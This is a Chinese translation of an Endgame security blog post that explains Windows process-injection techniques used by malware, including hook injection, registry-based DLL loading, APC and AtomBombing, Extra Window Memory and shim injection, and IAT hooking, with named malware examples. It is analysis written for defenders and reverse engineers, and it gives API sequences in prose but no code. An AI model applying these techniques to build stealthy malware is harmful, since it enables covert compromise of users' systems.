SetWindowsHookEx函數有四個參數。第一個參數是事件的類型。這些事件反映了鉤子類型的范圍,并且從鍵盤上的鍵(WH_KEYBOARD)到輸入到鼠標(WH_MOUSE),CBT等的不同。第二個參數是指向惡意軟件想要在事件中調用的函數的指針執行。第三個參數是包含該函數的模塊。因此,在調用SetWindowsHookEx之前,看到對LoadLibrary和GetProcAddress的調用是非常常見的。該函數的最后一個參數是掛鉤過程與之關聯的線程。如果此值設置為零,則所有線程在觸發事件時執行操作。然而,惡意軟件通常針對一個線程來減少干擾,因此也可以在SetWindowsHookEx之前查看調用CreateToolhelp32Snapshot和Thread32Next來查找和定位單個線程。一旦DLL被注入,惡意軟件代表其線程id被傳遞給SetWindowsHookEx函數的進程執行其惡意代碼。在圖9中,Locky
Ransomware實現了這種技術。
圖 9 Locky Ransomware 的hook注入過程
惡意軟件可以使用Appinit_DLL, AppCertDlls, 以及 IFEO (映像劫持)這三個注冊表項可以用于注入和維持注入,這三個注冊表項具體的位置如下:
惡意軟件可以將其惡意dll文件的位置插入到Appinit_Dlls注冊表項下,以使其他進程加載這個dll文件。
此注冊表項下的每個dll文件都會隨著User32.dll的加載而同樣加載到進程中。
User32.dll是用于存儲圖形元素(如對話框)的非常常用的庫。 因此,當惡意軟件修改這個注冊表子項時,大多數進程都將加載惡意dll文件。
圖10顯示了木乃伊依賴這種技術進行注入和維持注入的方法。
它只需打開Appinit_Dlls注冊表項,方法是調用RegCreateKeyEx,并通過調用RegSetValueEx來修改它的值。
圖 10 Ginwui修改AppIniti_DLLs注冊表項
這種方法與AppInit_DLLs方法非常相似,只是將此注冊表項下的DLL加載到調用CreateProcess,CreateProcessAsUser,CreateProcessWithLogonW,CreateProcessWithTokenW和WinExec的每個進程中。
IFEO通常用于調試目的。開發人員可以在此注冊表項下設置“調試器值”,將程序附加到另一個可執行文件進行調試。
因此,每當啟動可執行文件時,將附加到該程序。 要使用此功能,您可以簡單地給出調試器的路徑,并將其附加到要分析的可執行文件。
惡意軟件可以修改此注冊表項以將其注入到目標可執行文件中。 在圖11中,Diztakun木馬通過修改任務管理器的調試器值來實現此技術。
圖11 : Diztakun木馬修改IFEO注冊表項
惡意軟件可以利用異步過程調用(APC)控制另一個線程通過將其附加到目標線程的APC隊列來執行其自定義代碼。
每個線程都有一個APC隊列,它們在目標線程進入可警醒狀態時等待執行。如果調用SleepEx,SignalObjectAndWait,MsgWaitForMultipleObjectsEx,WaitForMultipleObjectsEx或WaitForSingleObjectEx函數,線程將進入可警醒狀態。
惡意軟件通常會查找處于可警醒狀態的任何線程,然后調用OpenThread和QueueUserAPC將APC排隊到線程。QueueUserAPC有三個參數:1)目標線程的句柄;
2)指向惡意軟件想要運行的函數指針; 3)和傳遞給函數指針的參數。
在圖12中,Amanahe惡意軟件首先調用OpenThread來獲取另一個線程的句柄,然后使用LoadLibraryA調用QueueUserAPC作為函數指針,將其惡意DLL注入另一個線程的APC隊列中。
AtomBombing是一種首先由enSilo研究引入的技術,然后用于Dridex V4。 正如我們在前一篇文章中詳細討論的[譯者注:鏈接見文末],該技術也是依賴APC注射。 但是,它是使用atom表寫入另一個進程的內存。
圖12: Almanahe執行APC注入
EWMI依靠注入資源管理器托盤窗口的額外窗口內存,并在惡意軟件家族中被多次使用使用,如Gapz和PowerLoader。在注冊窗口類時,應用程序可以指定一些額外的內存字節,稱為額外的窗口存儲器(EWM)。
然而,EWM并不算是塊很充裕的空間。
為了規避這個限制,惡意軟件將代碼寫入explorer.exe的共享部分,并使用SetWindowLong和SendNotifyMessage來指定一個指向shellcode的函數指針,然后執行它。
圖13 PowerLoader注入托盤窗口的額外窗口內存
當涉及到向共享部分的寫入數據時,惡意軟件有兩個選擇:它可以也創建一個共享空間,并將其映射到自身和另一個進程(例如,explorer.exe);第二個選擇就是簡單地打開已經存在的共享部分。
前者具有分配堆空間和調用NTMapViewOfSection以及其他一些API調用的開銷,因此后一種方法被更頻繁地使用。
惡意軟件在共享部分中寫入其shellcode后,使用GetWindowLong和SetWindowLong訪問并修改“Shell_TrayWnd”的額外窗口內存。
GetWindowLong是用于將指定偏移量的32位值檢索到窗口類對象的額外窗口存儲器中的API,SetWindowLong用于更改指定偏移量的值。
通過這樣做,惡意軟件可以簡單地更改窗口類中的函數指針的偏移量,并將其指向寫入共享部分的shellcode。
像上面提到的大多數其他技術一樣,惡意軟件需要觸發它編寫的代碼。
在以前討論的技術中,惡意軟件通過調用API(如CreateRemoteThread,QueueUserAPC或SetThreadContext)來實現這一點。
在EWMI方法中,惡意軟件通過調用SendNotifyMessage觸發注入的代碼。
在執行SendNotifyMessage之后,Shell_TrayWnd接收并將控件傳遞給由SetWindowLong先前設置的值指向的地址。
在圖13中,名為PowerLoader的惡意軟件使用這種技術。
Microsoft向開發人員提供了Shims[譯者注:Shim是一個工程術語,描述為了讓兩個物體更好地組裝在一起而插入的一塊木頭或金屬。在計算機編程中,shim是一個小型的函數庫,用于透明地攔截API調用,修改傳遞的參數、自身處理操作、或把操作重定向到其他地方。Shim也可以用來在不同的軟件平臺上運行程序。],主要是為了向后兼容。
Shims允許開發人員將修補程序應用于程序,而無需重寫代碼。 通過利用Shims,開發人員可以告訴操作系統如何處理其應用程序。
Shims本質上是一種嵌入API并針對特定可執行文件的方式。 惡意軟件可以利用Shims來實現注入可執行文件并維持注入。
Windows運行Shim引擎時,它加載二進制文件以檢查shimming數據庫,以便應用適當的修補程序。
有許多可以使用的修復程序,但是惡意軟件還是更偏愛那些安全相關的(例如DisableNX,DisableSEH,InjectDLL等)。要安裝shimming數據庫,惡意軟件可以使用各種方法。
例如,一個常見的方法是簡單執行sdbinst.exe,并將其指向惡意的sdb文件。 在圖14中,廣告軟件“Search Protect by Conduit”使用Shims進行注入和維持。 它在Google
Chrome中執行“InjectDLL”shim以加載vc32loader.dll。
現在有一些用于分析sdb文件的工具,但是對于下面列出的sdb的分析,我使用了python-sdb,而沒有使用現成的工具。
圖14 Search Protect用于注入的SDB
IAT hooking 以及 inline hooking通常被稱為用戶級rootkit. 惡意軟件可以利用IAT HOOKING技術更改導入地址表。
當合法應用程序調用位于DLL中的API時,將執行替換的函數,而不是原始代碼。 相比之下,使用Inline Hooking,惡意軟件可以修改API函數本身。 在圖15中,惡意軟件FinFisher通過修改CreateWindowEx指向的位置執行IAT HOOKING。
圖 15 FinFisher 通過更改CreateWindowEx指向的位置實現IAT HOOKING
在這篇文章中,我介紹了惡意軟件在另一個進程中隱藏其活動的十種不同技術。
通常,惡意軟件直接將其shellcode注入到另一個進程中,或者強制另一個進程加載其惡意DLL。
在表1中,我對各種技術進行了分類,并提供了樣品,作為觀察本文所涵蓋的每種注射技術的參考。
整篇文章中的數字將有助于研究人員在反轉惡意軟件時識別各種技術。
表格1: 流程注入可以通過直接將代碼注入到另一個進程中,或通過強制將DLL加載到另一個進程來完成
攻擊者和研究人員經常發現新的技術來實現注入并提供隱藏自身的目的。這篇文章詳細介紹了十種常見和新興的技術,但還有其他的沒有提及,如COMM劫持。 防御者在其使命中將永遠不會“完成”檢測和防止隱形進程注入的任務,因為入侵者永遠不會停止創新。
在EndGame[譯者注:原文發表的網站名稱為EndGame],我們不斷研究先進的隱藏技術,并將這些技術帶入我們的產品中,給產品提供保護。我們的層級功能可以檢測加載某些維持注入(如AppInit DLL,COM Hijack等)的惡意DLL,通過我們的shellcode注入防護軟件,可以實時防止許多形式的代碼注入,并且可以檢測在內存中運行的惡意注入的有效負載。我們正在申請專利的無文件攻擊檢測技術可以讓我們的平臺比市場上任何其他產品更有效地防止代碼注入,同時還通過新興的代碼注入技術最大限度地提高繞過的彈性。
本文由看雪翻譯小組 skeep 編譯,來源Ashkan Hosseini@endgame’s blog
【via@看雪社區】
]]>